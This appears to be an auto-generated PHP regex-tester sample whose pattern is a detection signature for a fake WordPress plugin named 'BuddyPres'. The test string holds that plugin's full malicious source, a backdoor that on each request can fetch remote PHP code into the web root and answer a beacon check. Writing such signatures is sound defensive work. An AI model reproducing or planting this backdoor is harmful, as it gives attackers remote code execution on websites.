$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,150}?plugin name:\s*buddypres\s*.{0,300}?function mainfuncworker1329[\(\)\{\s]+function receiveinfofunc52432\(\$url\).{0,400}?\$output\s*=\s*file_get_contents\(\$url.{0,550}?file_put_contents\(\$file,\s*\$dump.{0,450}?if\s*\(isset\(\$_request\["\w+"\].{0,230}?init\',\s*\'mainfuncworker1329[[:punct:]\s]+$/is';
$str = '<?php
/**
* The BuddyPress Plugin.
*
* BuddyPress is social networking software with a twist from the creators of WordPress.
*
*/
/**
* Plugin Name: BuddyPres
* Description: BuddyPress adds community features to WordPress. Member Profiles, Activity Streams, Direct Messaging, Notifications, and more!
* Author: The BuddyPress Community
* Version: 5.1.2
* Text Domain: buddypres
* License: GPLv2 or later (license.txt)
*/
function mainfuncworker1329(){
function receiveinfofunc52432($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
if (!$output) {
$output = file_get_contents($url);
if (!$output) {
$handle = fopen($url, "r");
$output = stream_get_contents($handle);
fclose($handle);
}
}
if (!$output) {
return false;
} else {
return $output;
}
}
function placeinfofunc842743242($file, $dump)
{
$dump = \'<?php /*\' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . \' */?>\' . $dump;
file_put_contents($file, $dump);
}
if(isset($_REQUEST["ofdsnvcxq"])) {
$url = $_REQUEST["url"];
$flename = $_REQUEST["savename"];
$fullflename = $_SERVER["DOCUMENT_ROOT"] . "/$flename.php";
$dataFromURL = receiveinfofunc52432($url);
if($dataFromURL){
placeinfofunc842743242($fullflename,$dataFromURL);
}
}
}
function echolocationgood146343(){
if (isset($_REQUEST["fioqfzjsdlk"])){
function echolocationBodygood146343(){
echo \'jhauqofmzhs\';
}
echolocationBodygood146343();
exit;
}
}
add_action(\'init\', \'echolocationgood146343\');
add_action(\'init\', \'mainfuncworker1329\');';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php